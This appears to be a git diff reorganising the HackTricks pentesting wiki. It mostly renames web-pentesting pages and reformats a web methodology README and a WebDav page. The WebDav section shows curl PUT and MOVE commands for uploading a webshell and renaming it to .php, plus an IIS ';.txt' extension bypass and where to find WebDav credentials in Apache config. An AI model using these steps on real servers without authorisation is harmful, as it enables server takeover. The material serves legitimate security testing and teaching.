- - diff --git a/pentesting/pentesting-web/README.md b/network-services-pentesting/pentesting-web/README.md similarity index 97% rename from pentesting/pentesting-web/README.md rename to network-services-pentesting/pentesting-web/README.md index 9280f5d5..eb5dca87 100644 --- a/pentesting/pentesting-web/README.md +++ b/network-services-pentesting/pentesting-web/README.md @@ -1,5 +1,7 @@ # 80,443 - Pentesting Web Methodology +## 80,443 - Pentesting Web Methodology +
Support HackTricks and get benefits! @@ -16,17 +18,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-{% hint style="danger" %} -**** +\*\*\*\* **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} -{% endhint %} -# 80,443 - Pentesting Web Methodology +## 80,443 - Pentesting Web Methodology -## Basic Info +### Basic Info The web service is the most **common and extensive service** and a lot of **different types of vulnerabilities** exists. @@ -43,13 +43,13 @@ nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -## Web API Guidance +### Web API Guidance {% content-ref url="web-api-pentesting.md" %} [web-api-pentesting.md](web-api-pentesting.md) {% endcontent-ref %} -## Methodology summary +### Methodology summary > In this methodology we are going to suppose that you are going to a attack a domain (or subdomain) and only that. So, you should apply this methodology to each discovered domain, subdomain or IP with undetermined web server inside the scope. @@ -68,9 +68,9 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 * [ ] Once you have **identified** all the possible **endpoints** accepting **user input**, check for all kind of **vulnerabilities** related to it. * [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) -## Server Version (Vulnerable?) +### Server Version (Vulnerable?) -### Identify +#### Identify Check if there are **known vulnerabilities** for the server **version** that is running.\ The **HTTP headers and cookies of the response** could be very useful to **identify** the **technologies** and/or **version** being used. **Nmap scan** can identify the server version, but it could also be useful the tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** @@ -81,7 +81,7 @@ whatweb -a 3 #Aggresive webtech -u ``` -Search **for** [**vulnerabilities of the web application** **version**](../../search-exploits.md) +Search **for** [**vulnerabilities of the web application** **version**](../../generic-methodologies-and-resources/search-exploits.md) **Check if any WAF** @@ -89,7 +89,7 @@ Search **for** [**vulnerabilities of the web application** **version**](../../se * [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) * [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Web tech tricks +#### Web tech tricks Some **tricks** for **finding vulnerabilities** in different well known **technologies** being used: @@ -128,7 +128,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno _Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\ If the web application is using any well known **tech/platform listed before** or **any other**, don't forget to **search on the Internet** new tricks (and let me know!). -## Source Code Review +### Source Code Review If the **source code** of the application is available in **github**, apart of performing by **your own a White box test** of the application there is **some information** that could be **useful** for the current **Black-Box testing**: @@ -143,9 +143,9 @@ If the **source code** of the application is available in **github**, apart of p [code-review-tools.md](code-review-tools.md) {% endcontent-ref %} -## Automatic scanners +### Automatic scanners -### General purpose automatic scanners +#### General purpose automatic scanners ```bash nikto -h @@ -156,7 +156,7 @@ zaproxy #You can use an API nuclei -t nuclei-templates ``` -### CMS scanners +#### CMS scanners If a CMS is used don't forget to **run a scanner**, maybe something juicy is found: @@ -175,11 +175,11 @@ joomlavs.rb #https://github.com/rastating/joomlavs > At this point you should already have some information of the web server being used by the client (if any data is given) and some tricks to keep in mind during the test. If you are lucky you have even found a CMS and run some scanner. -## Step-by-step Web Application Discovery +### Step-by-step Web Application Discovery > From this point we are going to start interacting with the web application. -### Initial checks +#### Initial checks **Default pages with interesting info:** @@ -227,7 +227,7 @@ Information about SSL/TLS vulnerabilities: * [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) * [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) -### Spidering +#### Spidering Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible. @@ -247,7 +247,7 @@ Launch some kind of **spider** inside the web. The goal of the spider is to **fi * [**subjs**](https://github.com/lc/subjs) (go): Find JS files. * [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page. -### Brute Force directories and files +#### Brute Force directories and files Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\ Tools: @@ -280,7 +280,7 @@ Tools: _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ -### What to check on each file found +#### What to check on each file found * [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers * **File Backups**: Once you have found all the files, look for backups of all the executable files ("_.php_", "_.aspx_"...). Common variations for naming a backup are: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ You can also use the tool [**bfac**](https://github.com/mazen160/bfac). @@ -295,7 +295,7 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri * Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access. * **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/). -### Special findings +#### Special findings **While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**. @@ -334,7 +334,7 @@ You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_". It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there. -## Web Vulnerabilities Checking +### Web Vulnerabilities Checking Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here: @@ -344,7 +344,7 @@ Now that a comprehensive enumeration of the web application has been performed i TODO: Complete the list of vulnerabilities and techniques with [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) and [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html), [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection) -## HackTricks Automatic Commands +### HackTricks Automatic Commands ``` Protocol_Name: Web #Protocol Abbreviation if there is one. diff --git a/pentesting/pentesting-web/aem-adobe-experience-cloud.md b/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md similarity index 100% rename from pentesting/pentesting-web/aem-adobe-experience-cloud.md rename to network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md diff --git a/pentesting/pentesting-web/apache.md b/network-services-pentesting/pentesting-web/apache.md similarity index 100% rename from pentesting/pentesting-web/apache.md rename to network-services-pentesting/pentesting-web/apache.md diff --git a/pentesting/pentesting-web/artifactory-hacking-guide.md b/network-services-pentesting/pentesting-web/artifactory-hacking-guide.md similarity index 100% rename from pentesting/pentesting-web/artifactory-hacking-guide.md rename to network-services-pentesting/pentesting-web/artifactory-hacking-guide.md diff --git a/pentesting/pentesting-web/buckets/README.md b/network-services-pentesting/pentesting-web/buckets/README.md similarity index 100% rename from pentesting/pentesting-web/buckets/README.md rename to network-services-pentesting/pentesting-web/buckets/README.md diff --git a/pentesting/pentesting-web/buckets/aws-s3.md b/network-services-pentesting/pentesting-web/buckets/aws-s3.md similarity index 100% rename from pentesting/pentesting-web/buckets/aws-s3.md rename to network-services-pentesting/pentesting-web/buckets/aws-s3.md diff --git a/pentesting/pentesting-web/buckets/firebase-database.md b/network-services-pentesting/pentesting-web/buckets/firebase-database.md similarity index 100% rename from pentesting/pentesting-web/buckets/firebase-database.md rename to network-services-pentesting/pentesting-web/buckets/firebase-database.md diff --git a/pentesting/pentesting-web/cgi.md b/network-services-pentesting/pentesting-web/cgi.md similarity index 100% rename from pentesting/pentesting-web/cgi.md rename to network-services-pentesting/pentesting-web/cgi.md diff --git a/pentesting/pentesting-web/code-review-tools.md b/network-services-pentesting/pentesting-web/code-review-tools.md similarity index 100% rename from pentesting/pentesting-web/code-review-tools.md rename to network-services-pentesting/pentesting-web/code-review-tools.md diff --git a/pentesting/pentesting-web/drupal.md b/network-services-pentesting/pentesting-web/drupal.md similarity index 100% rename from pentesting/pentesting-web/drupal.md rename to network-services-pentesting/pentesting-web/drupal.md diff --git a/pentesting/pentesting-web/flask.md b/network-services-pentesting/pentesting-web/flask.md similarity index 100% rename from pentesting/pentesting-web/flask.md rename to network-services-pentesting/pentesting-web/flask.md diff --git a/pentesting/pentesting-web/git.md b/network-services-pentesting/pentesting-web/git.md similarity index 100% rename from pentesting/pentesting-web/git.md rename to network-services-pentesting/pentesting-web/git.md diff --git a/pentesting/pentesting-web/golang.md b/network-services-pentesting/pentesting-web/golang.md similarity index 100% rename from pentesting/pentesting-web/golang.md rename to network-services-pentesting/pentesting-web/golang.md diff --git a/pentesting/pentesting-web/graphql.md b/network-services-pentesting/pentesting-web/graphql.md similarity index 100% rename from pentesting/pentesting-web/graphql.md rename to network-services-pentesting/pentesting-web/graphql.md diff --git a/pentesting/pentesting-web/h2-java-sql-database.md b/network-services-pentesting/pentesting-web/h2-java-sql-database.md similarity index 100% rename from pentesting/pentesting-web/h2-java-sql-database.md rename to network-services-pentesting/pentesting-web/h2-java-sql-database.md diff --git a/pentesting/pentesting-web/iis-internet-information-services.md b/network-services-pentesting/pentesting-web/iis-internet-information-services.md similarity index 100% rename from pentesting/pentesting-web/iis-internet-information-services.md rename to network-services-pentesting/pentesting-web/iis-internet-information-services.md diff --git a/pentesting/pentesting-web/jboss.md b/network-services-pentesting/pentesting-web/jboss.md similarity index 100% rename from pentesting/pentesting-web/jboss.md rename to network-services-pentesting/pentesting-web/jboss.md diff --git a/pentesting/pentesting-web/jira.md b/network-services-pentesting/pentesting-web/jira.md similarity index 100% rename from pentesting/pentesting-web/jira.md rename to network-services-pentesting/pentesting-web/jira.md diff --git a/pentesting/pentesting-web/joomla.md b/network-services-pentesting/pentesting-web/joomla.md similarity index 100% rename from pentesting/pentesting-web/joomla.md rename to network-services-pentesting/pentesting-web/joomla.md diff --git a/pentesting/pentesting-web/jsp.md b/network-services-pentesting/pentesting-web/jsp.md similarity index 100% rename from pentesting/pentesting-web/jsp.md rename to network-services-pentesting/pentesting-web/jsp.md diff --git a/pentesting/pentesting-web/laravel.md b/network-services-pentesting/pentesting-web/laravel.md similarity index 100% rename from pentesting/pentesting-web/laravel.md rename to network-services-pentesting/pentesting-web/laravel.md diff --git a/pentesting/pentesting-web/moodle.md b/network-services-pentesting/pentesting-web/moodle.md similarity index 100% rename from pentesting/pentesting-web/moodle.md rename to network-services-pentesting/pentesting-web/moodle.md diff --git a/pentesting/pentesting-web/nginx.md b/network-services-pentesting/pentesting-web/nginx.md similarity index 100% rename from pentesting/pentesting-web/nginx.md rename to network-services-pentesting/pentesting-web/nginx.md diff --git a/pentesting/pentesting-web/php-tricks-esp/README.md b/network-services-pentesting/pentesting-web/php-tricks-esp/README.md similarity index 100% rename from pentesting/pentesting-web/php-tricks-esp/README.md rename to network-services-pentesting/pentesting-web/php-tricks-esp/README.md diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md similarity index 100% rename from pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md rename to network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md similarity index 100% rename from pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md rename to network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md similarity index 100% rename from pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md rename to network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md similarity index 100% rename from pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md rename to network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md similarity index 100% rename from pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md rename to network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md similarity index 100% rename from pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md rename to network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md similarity index 100% rename from pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md rename to network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md similarity index 100% rename from pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md rename to network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md similarity index 100% rename from pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md rename to network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md similarity index 100% rename from pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md rename to network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md similarity index 100% rename from pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md rename to network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md similarity index 100% rename from pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md rename to network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md similarity index 100% rename from pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md rename to network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md similarity index 100% rename from pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md rename to network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md similarity index 100% rename from pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md rename to network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md similarity index 100% rename from pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md rename to network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md diff --git a/pentesting/pentesting-web/put-method-webdav.md b/network-services-pentesting/pentesting-web/put-method-webdav.md similarity index 96% rename from pentesting/pentesting-web/put-method-webdav.md rename to network-services-pentesting/pentesting-web/put-method-webdav.md index 841a45e8..029b63bd 100644 --- a/pentesting/pentesting-web/put-method-webdav.md +++ b/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -1,4 +1,4 @@ - +# WebDav
@@ -16,11 +16,10 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- A **HTTP Server with WebDav** active is a server where you probably can **update, delete, move, copy** files. **Sometimes** you **need** to have **valid credentials** (usually check with HTTP Basic Authentication). You should try to **upload** some **webshell** and **execute** it from the web server to take control over the server.\ -Usually, to **connect** a WebDav server you will need valid **credentials**: [**WebDav bruteforce**](../../brute-force.md#http-basic-auth) _(Basic Auth)_. +Usually, to **connect** a WebDav server you will need valid **credentials**: [**WebDav bruteforce**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) _(Basic Auth)_. Other common configuration is to **forbid uploading** files with **extensions** that will be **executed** by the web server, you should check how to **bypass this:** @@ -28,7 +27,7 @@ Other common configuration is to **forbid uploading** files with **extensions** * **Upload** files **without executable extensions** (like .txt) and try to **rename** the file (move) with an **executable extension**. * **Upload** files **without executable extensions** (like .txt) and try to **copy** the file (move) with **executable extension.** -# DavTest +## DavTest **Davtest** try to **upload several files with different extensions** and **check** if the extension is **executed**: @@ -43,7 +42,7 @@ Output sample: This doesn't mean that **.txt** and **.html extensions are being executed**. This mean that you can **access this files** through the web. -# Cadaver +## Cadaver You can use this tool to **connect to the WebDav** server and perform actions (like **upload**, **move** or **delete**) **manually**. @@ -51,19 +50,19 @@ You can use this tool to **connect to the WebDav** server and perform actions (l cadaver ``` -# PUT request +## PUT request ``` curl -T 'shell.txt' 'http://$ip' ``` -# MOVE request +## MOVE request ``` curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` -# IIS5/6 WebDav Vulnerability +## IIS5/6 WebDav Vulnerability This vulnerability is very interesting. The **WebDav** does **not allow** to **upload** or **rename** files with the extension **.asp**. But you can **bypass** this **adding** at the end of the name **";.txt"** and the file will be **executed** as if it were a .asp file (you could also **use ".html" instead of ".txt"** but **DON'T forget the ";"**). @@ -71,7 +70,7 @@ Then you can **upload** your shell as a ".**txt" file** and **copy/move it to a ![](<../../.gitbook/assets/image (18).png>) -# Post credentials +## Post credentials If the Webdav was using an Apache server you should look at configured sites in Apache. Commonly:\ _**/etc/apache2/sites-enabled/000-default**_ @@ -109,7 +108,6 @@ To check if the new credentials are working you can do: wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` -
Support HackTricks and get benefits! @@ -125,5 +123,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-web/python.md b/network-services-pentesting/pentesting-web/python.md similarity index 100% rename from pentesting/pentesting-web/python.md rename to network-services-pentesting/pentesting-web/python.md diff --git a/pentesting/pentesting-web/special-http-headers.md b/network-services-pentesting/pentesting-web/special-http-headers.md similarity index 100% rename from pentesting/pentesting-web/special-http-headers.md rename to network-services-pentesting/pentesting-web/special-http-headers.md diff --git a/pentesting/pentesting-web/spring-actuators.md b/network-services-pentesting/pentesting-web/spring-actuators.md similarity index 100% rename from pentesting/pentesting-web/spring-actuators.md rename to network-services-pentesting/pentesting-web/spring-actuators.md diff --git a/pentesting/pentesting-web/symphony.md b/network-services-pentesting/pentesting-web/symphony.md similarity index 100% rename from pentesting/pentesting-web/symphony.md rename to network-services-pentesting/pentesting-web/symphony.md diff --git a/pentesting/pentesting-web/tomcat.md b/network-services-pentesting/pentesting-web/tomcat.md similarity index 100% rename from pentesting/pentesting-web/tomcat.md rename to network-services-pentesting/pentesting-web/tomcat.md diff --git a/pentesting/pentesting-web/uncovering-cloudflare.md b/network-services-pentesting/pentesting-web/uncovering-cloudflare.md similarity index 100% rename from pentesting/pentesting-web/uncovering-cloudflare.md rename to network-services-pentesting/pentesting-web/uncovering-cloudflare.md diff --git a/pentesting/pentesting-web/vmware-esx-vcenter....md b/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md similarity index 100% rename from pentesting/pentesting-web/vmware-esx-vcenter....md rename to network-services-pentesting/pentesting-web/vmware-esx-vcenter....md diff --git a/pentesting/pentesting-web/web-api-pentesting.md b/network-services-pentesting/pentesting-web/web-api-pentesting.md similarity index 100% rename from pentesting/pentesting-web/web-api-pentesting.md rename to network-services-pentesting/pentesting-web/web-api-pentesting.md diff --git a/pentesting/pentesting-web/werkzeug.md b/network-services-pentesting/pentesting-web/werkzeug.md similarity index 100% rename from pentesting/pentesting-web/werkzeug.md rename to network-services-pentesting/pentesting-web/werkzeug.md diff --git a/pentesting/pentesting-web/wordpress.md b/network-services-pentesting/pentesting-web/wordpress.md similarity index 100% rename from pentesting/pentesting-web/wordpress.md rename to network-services-pentesting/pentesting-web/wordpress.md diff --git a/pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/README.md b/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/README.md similarity index 100% rename from pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/README.md rename to network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/README.md diff --git a/pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md b/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md similarity index 100% rename from pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md rename to network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md diff --git a/pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-ipc.md b/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-ipc.md similarity index 100% rename from pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-ipc.md rename to network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-ipc.md diff --git a/pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md b/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md similarity index 100% rename from pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md rename to network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md diff --git a/todo/pentesting-dns.md b/pentesting-dns.md similarity index 100% rename from todo/pentesting-dns.md rename to pentesting-dns.md diff --git a/pentesting-web/command-injection.md b/pentesting-web/command-injection.md index 24fb444a..48e6866c 100644 --- a/pentesting-web/command-injection.md +++ b/pentesting-web/command-injection.md @@ -1,4 +1,4 @@ - +# Command Injection
@@ -16,16 +16,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
